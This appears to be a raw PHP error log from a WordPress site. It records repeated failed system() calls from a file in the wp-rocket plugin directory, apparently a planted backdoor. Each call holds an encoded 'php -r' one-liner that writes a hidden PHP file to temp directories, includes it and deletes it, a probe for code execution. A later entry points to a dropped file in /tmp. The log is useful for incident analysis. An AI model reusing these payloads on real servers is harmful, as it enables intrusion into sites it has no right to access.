[26-Dec-2025 11:21:20 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22lAuUerAMRdaFM%22.%22mSscByPBhnUrJBsePhay%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.rjust&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[26-Dec-2025 11:21:25 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22feHQOHlTDQfZnLQ%22.%22ZIBfiWelFrjtgPgacj%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.internal&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[26-Dec-2025 11:21:29 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22MTuAfKlDhRQaNtD%22.%22oVJGDiuqEpzF%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.partition&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[26-Dec-2025 11:21:38 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22rUVDUKzDIH%22.%22XpCUUnsPYuMDX%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.include&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[29-Dec-2025 04:05:46 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting number in /tmp/.db2_convert on line 18
